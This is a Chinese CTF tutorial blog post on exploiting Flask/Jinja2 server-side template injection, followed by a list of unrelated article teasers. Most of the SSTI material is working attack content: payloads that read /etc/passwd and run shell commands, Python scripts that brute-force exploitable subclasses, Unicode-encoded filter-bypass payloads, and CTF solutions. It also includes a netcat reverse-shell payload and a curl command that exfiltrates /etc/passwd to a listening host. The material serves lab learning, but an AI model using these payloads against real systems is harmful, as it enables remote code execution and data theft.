CTF-Flask-Jinja2(持续更新)
放心,我会一直陪着你
- 一.知识
- 一.在终端的一些指令
- 1.虚拟环境
- 2.docker容器
- 二.SSTI相关知识介绍
- 1.魔术方法
- 2.python如何执行cmd命令
- 3.SSTI常用注入模块
- (1)文件读取
- (2)内建函数eval执行命令
- (3)os模块执行命令
- (4)importlib类执行命令
- (5)linecache函数执行命令
- (6)subprocess.Popen类执行命令
- 三.绕过过滤
- 1.双大括号
- 2.无回显
- (1)反弹shell
- (2)带外注入(做不了×)
- (3)纯盲注
- 四.实例
- 1.eval
- 二.实例
- [HNCTF 2022 WEEK2]ez_SSTI
- [安洵杯 2020]Normal SSTI
一.知识
一.在终端的一些指令

1.虚拟环境
进入虚拟环境flask1
cd /opt/flask1
source ./bin/activate
退出虚拟环境
deactivate
2.docker容器
自动检测
sudo docker run -p 18022:22 -P 18080:80 -i -t mcc0624/flask_ssti:last bash -c '/etc/rc.local; /bin/bash'
查看所有容器
docker ps -a
关闭容器
docker stop <CONTAINER ID>
开启容器
docker start <CONTAINER ID>
更多命令:Docker常用命令之容器命令
二.SSTI相关知识介绍

${7*7}a{*comment*}b
${"z".join("ab")}{{7*7}}
{{7*'7'}}
1.魔术方法
__class__#查找当前类型的所属对象
__base__#沿着父子类的关系往上走一个
__mro__#查找当前类对象的所有继承类
__subclasses__()#查找父类下的所有子类
__init__#查看类是否重载,重载是指程序在运行时就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载
__globals__#函数会议字典的形式返回当前对象的全部全局变量
2.python如何执行cmd命令
python如何执行cmd命令
3.SSTI常用注入模块
(1)文件读取
①查找子类
_frozen_importlib_external.FileLoader<class '_frozen_importlib_external.FileLoader'>
②找第几个时的python脚本:
import requests
url =input('请输入URL链接:')
for i in range(500):data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}try:response = requests.post(url,data=data)#print(response.text)if response.status_code== 200:if '_frozen_importlib_external.FileLoader'in response.text:print(i)except:pass

③读取
{{''.__class__.__mro__[1].__subclasses__()[79]["get_data"](0,"/etc/passwd")}}
(2)内建函数eval执行命令
①内建函数:python在执行脚本时自动加载的函数
看是否有eval
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']}}
②python脚本查看可利用内建函数eval的模块
import requests
url =input('请输入URL链接:')
for i in range(500):data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}try:response = requests.post(url,data=data)#print(response.text)if response.status_code== 200:if 'eval' in response.text:print(i)except :pass
③执行
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}}
__builtins__提供对Python的所有"内置"标识符的直接访问
eval()计算字符串表达式的值
__import__加载os模块
popen()执行一个shell以运行命令来开启一个进程,执行cat /etc/passwd(system没有回显)
(3)os模块执行命令
①Flask自带的函数和对象
显示当前flask有哪些函数和对象
{{self.__dict__._TemplateReference__context.keys()}}
—————————————
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{url_for.__globals__.os.popen('ls').read()}}
{{lipsum.__globals__.os.popen('ls').read()}}
②python脚本查找已经加载os模块的子类
import requestsurl =input('请输入URL链接:')for i in range(500):data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}try:response = requests.post(url,data=data)#print(response.text)if response.status_code== 200:if 'os.py' in response.text:print(i)except :pass
————————————
name={{().__class__.__base__.__subclasses__()[483].__init__.__globals__.os.popen('ls').read()}}
(4)importlib类执行命令
可以加载第三方库,使用load_module加载os
① python脚本查找_frozen_importlib.Builtinlmporter
import requests
url =input('请输入URL链接:')
for i in range(500):data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}try:response = requests.post(url,data=data)#print(response.text)if response.status_code== 200:if '_frozen_importlib.BuiltinImporter' in response.text:print(i)except :pass
②执行
{{().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]('ls -l').read()}}
(5)linecache函数执行命令
linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os模块,所以我们也可以利用这个linecache函数去执行命令.
①python脚本查找linecache
import requests
url =input('请输入URL链接:')
for i in range(500):data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}try:response = requests.post(url,data=data)#print(response.text)if response.status_code== 200:if 'linecache' in response.text:print(i)except :pass
②执行
{{[].__class__.__base__.__subclasses__()[191].__init__.__globals__['linecache']['os'].popen("ls -l").read()}}
{{[].__class__.__base__.__subclasses__()[192].__init__.__globals__.linecache.os.popen("ls -l").read()}}
(6)subprocess.Popen类执行命令
从python2.4版本开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值.
subprocess意在替代其他几个老的模块或者函数,比如:os.system、os.popen等函数.
① python脚本查找subprocess.Popen
import requests
url =input('请输入URL链接:')
for i in range(500):data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}try:response = requests.post(url,data=data)#print(response.text)if response.status_code== 200:if 'subprocess.Popen' in response.text:print(i)except :pass
②执行
{{[].__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()
[0].strip()}}
三.绕过过滤
1.双大括号
①判断是否有
{% if "".__class__ %}Benben{% endif %}
②检测是否有popen
import requests
url ="http://192.168.0.226:18080/flasklab/level/2"
for i in range(500):try:data = {"code": '{% if "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("cat /etc/passwd").read()%}Benben{% endif %}'}response = requests.post(url,data=data)if response.status_code== 200:if "Benben" in response.text:print(i,"--->",data)breakexcept :pass
③执行(解决无回:print)
{% print("".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("cat /etc/passwd").read()) %}
2.无回显
(1)反弹shell
没有回显,
直接使用脚本批量执行希望执行的命令.
import requestsurl ="http://192.168.0.226:18080/flasklab/level/3"for i in range(300):try:data = {"code": '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("netcat 192.168.0.226 7777 -e/bin/bash").read()}}'}response = requests.post(url,data=data)except :pass
for i in range循环执行
当遇到包含popen的子类时,
直接执行netcat 192.168.1.161 7777 -e/bin/bash
监听主机收到反弹shell进入对方命令行界面
(2)带外注入(做不了×)
此处使用wget方法来带外想要知道的内容
也可以用dnslog或者nc
import requestsurl ="http://192.168.0.226:18080/flasklab/level/3"for i in range(300):try:data = {"code": '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("curl http://192.168.0.226/`cat /etc/passwd`").read()}}'}response = requests.post(url,data=data)except :pass
同时kali开启一个python http监听
python3 -m http.server 80
(3)纯盲注
四.实例
1.eval
''
""
()
[]
{{''.__class__}}{{''.__class__.__base__}}{{''.__class__.__base__.__subclasses__()}}{{''.__class__.__base__.__subclasses__()[117]}}{{''.__class__.__base__.__subclasses__()[117].__init__}}{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__}}
①
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
②
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read()}}
二.实例
[HNCTF 2022 WEEK2]ez_SSTI
进来看到

在哪里传参呢?
一般是GET传名为name的参数
测试SSTI注入,{{7*7}}

确认有SSTI注入,继续测,{{7*'7'}}
试试Jinja2模板,成功,以下是两种解题方法
1.Flask自带的函数和对象
先查看当前文件夹,发现了flag文件夹
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
获取flag
{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}
2.python脚本查找已经加载os模块的子类
[安洵杯 2020]Normal SSTI
进来看到

提示了传参变量
试着判断是哪一种模板${7*7},发现有过滤
fuzz一下,黑名单大致如下
[' ','\'','*','[',']','_','.','globals','request','args','form','getitem','flag','length','list','string','config']
过滤了很多东西,不能用base64编码还有request,十六进制没试过,这里考虑用Unicode编码配合attr过滤器来绕过。
这里过滤了双大括号,只能用{%%}
做法属于Flask自带的函数和对象
{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")())%}
把_globals_,__getitem__还有命令进行编码即可。
payload如下:
{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("read")())%}

${7*7}a{*comment*}b
${"z".join("ab")}{{7*7}}
{{7*'7'}}
相关文章:
CTF-Flask-Jinja2(持续更新)
放心,我会一直陪着你 一.知识一.在终端的一些指令1.虚拟环境2.docker容器二.SSTI相关知识介绍1.魔术方法2.python如何执行cmd命令3.SSTI常用注入模块(1)文件读取(2)内建函数eval执行命令(3)os模块执行命令(4)importlib类执行命令(5)linecache函数执行命令(6)subproc…...
linux文件I/O之 fcntl() 函数用法:设置文件的 flags、设置文件锁(记录锁)
头文件和函数声明 #include <unistd.h> #include <fcntl.h> int fcntl(int fd, int cmd, ... /* arg */ ); 函数功能 获取、设置已打开文件的属性 返回值 成功时返回根据 cmd 传递的命令类型的执行结,失败时返回 -1,并设置 errno 为相…...
黑马项目一完结后阶段面试45题 JavaSE基础部分20题(一)
一、Java数据类型 基本数据类型——四类八种 整数型 byte short int long 浮点型 float double 字符型 char 布尔型 boolean 引用数据类型 String字符串 类(对象) 接口类型 数组类型 枚举类型 二、面向对象的三大特性 1.封装 把同一类事物…...
(一)创建型设计模式:3、建造者模式(Builder Pattern)
目录 1、建造者模式含义 2、建造者模式的讲解 3、使用C实现建造者模式的实例 4、建造者模式的优缺点 5、建造者模式VS工厂模式 1、建造者模式含义 The intent of the Builder design pattern is to separate the construction of a complex object from its representatio…...
指针进阶大冒险:解锁C语言中的奇妙世界!
目录 引言 第一阶段:🔍 独特的字符指针 什么是字符指针? 字符指针的用途 演示:使用字符指针拷贝字符串 字符指针与字符串常量 小试牛刀 第二阶段:🎯 玩转指针数组 指针数组是什么? 指针…...
2.0 Maven基础
1. Maven概述 Maven概念 Apache Maven是一个软件项目管理工具,将项目开发和管理过程抽象程一个项目对象模型(POM,Project Object Model)。 Maven作用 项目构建 提供标准的、跨平台的自动化项目构建方式。 依赖管理 方便快捷…...
在Linux虚拟机内配置nginx以及docker
目录 1、nginx源码包编译以及安装依赖 1、配置安装所需的编译环境 2、安装函数库(pcre、zlib、openssl) 2、安装nginx 1、获取源码包 2、解压编译 3、启动nginx服务 1、关闭防火墙 2、运行nginx 3、使用本地浏览器进行验证 3、安装docker 1、…...
数据结构-带头双向循环链表的实现
前言 带头双向循环链表是一种重要的数据结构,它的结构是很完美的,它弥补了单链表的许多不足,让我们一起来了解一下它是如何实现的吧! 1.节点的结构 它的节点中存储着数据和两个指针,一个指针_prev用来记录前一个节点…...
android Ndk Jni动态注册方式以及静态注册
目录 一.静态注册方式 二.动态注册方式 三.源代码 一.静态注册方式 1.项目名\app\src\main下新建一个jni目录 2.在jni目录下,再新建一个Android.mk文件 写入以下配置 LOCAL_PATH := $(call my-dir)//获取当前Android.mk所在目录 inclu...
MySQL中的索引
1.2.MySQL中的索引 InnoDB存储引擎支持以下几种常见的索引:B树索引、全文索引、哈希索引,其中比较关键的是B树索引 1.2.1.B树索引 InnoDB中的索引自然也是按照B树来组织的,前面我们说过B树的叶子节点用来放数据的,但是放什么数…...
idea中如何处理飘红提示
idea中如何处理飘红提示 在写sql时,总是会提示各种错误 查找资料,大部分都是说关提示,这里把错误提示选择为None即可 关掉以后,也确实不显示任何提示了,但总有一种掩耳盗铃的感觉 这个sms表明明存在,但是还…...
Elasticsearch使用中出现的错误
Elasticsearch使用中出现的错误 1、分页查询异常 在分页的过程中出现了一个问题是当查询的数据超过10000条的时候报了异常: from size must be less than or equal to: [10000]这个问题最快捷的解决方式是增大窗口大小: curl -XPUT http://127.0.0.…...
【IMX6ULL驱动开发学习】01.编写第一个hello驱动+自动创建设备节点(不涉及硬件操作)
目录 一、驱动程序编写流程 二、代码编写 2.1 驱动程序hello_drv.c 2.2 测试程序 2.3 编写驱动程序的Makefile 三、上机实验 3.1 NFS 挂载 3.2 测试示例 一、驱动程序编写流程 构造file_operations结构体 在里面填充open/read/write/ioctl成员 注册file_operations结…...
决策规划仿真平台搭建
决策规划仿真平台搭建 自动驾驶决策规划算法第二章第一节 决策规划仿真平台搭建 这部分的主要难点在于多个软件的连通与适配,环境的搭建总是折磨人的,主要是 4 个软件,各软件版本如下 Visual Studio2017PreScan8.5.0CarSim2019.0MATLAB2019b…...
计算图像哈希SHA-512
1、MATLAB实现 计算图像哈希值SHA-512,在文献[1]提到的算法如下: % Example Code: Create an MD5 crypto-hash of an arbitrary string, "str" % Main class of interest: System.Security.Cryptography.HashAlgorithm% Example String to hash with MD5 %…...
Android之消除APP图标的白色边框
有问题的效果: 解决方案: 第一步:app右键—>new—>Image Asset 第二步:上传Logo图标,选择每种分辨率,预览看效果,选择Resize,可以微调 第三步:点击 Nextÿ…...
java线程的优先级、守护线程的概念
1.线程的调度 抢占式调度 非抢占式调度 1.1 抢占式调度 优先级越高,抢到cpu的概率越高 1.2 守护线程 守护线程,非守护线程。当其他的非守护线程执行完毕以后,守护线程会陆续结束。 守护线程的应用场景...
asp.net core 6.0 efcore +sqlserver增删改查的demo
asp.net core 6.0 efcore sqlserver增删改查的demo 下面是一个使用ASP.NET Core 5.0和Entity Framework Core进行增删改查操作的示例。 首先,创建一个空的ASP.NET Core 6.0 Web应用程序项目。 然后,安装以下NuGet包: Microsoft.EntityFra…...
HC32L110B6芯片测试
到货之后,直观上感觉的确很小,小包装盒里面还装了说明书。 下载器单独在一个盒里面,但是这个T-U2T没用上,还是用的STLINK。 开发之前先去网上找了一些别人遇到的坑,的确不少。 涉及的方面也是挺全的,供电、…...
关于我乱删注册表导致电脑没有声音这件事
之前因为想彻底删除迅雷,照着网上进入注册表一顿乱删,也忘记删了啥,反正把一顿xmp的文件,和搜索出来迅雷的全删了。结果迅雷确实没了,被带走的还有电脑的声音。 很离谱,就试过了所有方法都没用,…...
观成科技:隐蔽隧道工具Ligolo-ng加密流量分析
1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具,该工具基于TUN接口实现其功能,利用反向TCP/TLS连接建立一条隐蔽的通信信道,支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式,适应复杂网…...
dedecms 织梦自定义表单留言增加ajax验证码功能
增加ajax功能模块,用户不点击提交按钮,只要输入框失去焦点,就会提前提示验证码是否正确。 一,模板上增加验证码 <input name"vdcode"id"vdcode" placeholder"请输入验证码" type"text&quo…...
Spring Boot面试题精选汇总
🤟致敬读者 🟩感谢阅读🟦笑口常开🟪生日快乐⬛早点睡觉 📘博主相关 🟧博主信息🟨博客首页🟫专栏推荐🟥活动信息 文章目录 Spring Boot面试题精选汇总⚙️ **一、核心概…...
04-初识css
一、css样式引入 1.1.内部样式 <div style"width: 100px;"></div>1.2.外部样式 1.2.1.外部样式1 <style>.aa {width: 100px;} </style> <div class"aa"></div>1.2.2.外部样式2 <!-- rel内表面引入的是style样…...
HDFS分布式存储 zookeeper
hadoop介绍 狭义上hadoop是指apache的一款开源软件 用java语言实现开源框架,允许使用简单的变成模型跨计算机对大型集群进行分布式处理(1.海量的数据存储 2.海量数据的计算)Hadoop核心组件 hdfs(分布式文件存储系统)&a…...
Fabric V2.5 通用溯源系统——增加图片上传与下载功能
fabric-trace项目在发布一年后,部署量已突破1000次,为支持更多场景,现新增支持图片信息上链,本文对图片上传、下载功能代码进行梳理,包含智能合约、后端、前端部分。 一、智能合约修改 为了增加图片信息上链溯源,需要对底层数据结构进行修改,在此对智能合约中的农产品数…...
PostgreSQL——环境搭建
一、Linux # 安装 PostgreSQL 15 仓库 sudo dnf install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-$(rpm -E %{rhel})-x86_64/pgdg-redhat-repo-latest.noarch.rpm# 安装之前先确认是否已经存在PostgreSQL rpm -qa | grep postgres# 如果存在࿰…...
抽象类和接口(全)
一、抽象类 1.概念:如果⼀个类中没有包含⾜够的信息来描绘⼀个具体的对象,这样的类就是抽象类。 像是没有实际⼯作的⽅法,我们可以把它设计成⼀个抽象⽅法,包含抽象⽅法的类我们称为抽象类。 2.语法 在Java中,⼀个类如果被 abs…...
LangChain 中的文档加载器(Loader)与文本切分器(Splitter)详解《二》
🧠 LangChain 中 TextSplitter 的使用详解:从基础到进阶(附代码) 一、前言 在处理大规模文本数据时,特别是在构建知识库或进行大模型训练与推理时,文本切分(Text Splitting) 是一个…...
boost::filesystem::path文件路径使用详解和示例
boost::filesystem::path 是 Boost 库中用于跨平台操作文件路径的类,封装了路径的拼接、分割、提取、判断等常用功能。下面是对它的使用详解,包括常用接口与完整示例。 1. 引入头文件与命名空间 #include <boost/filesystem.hpp> namespace fs b…...
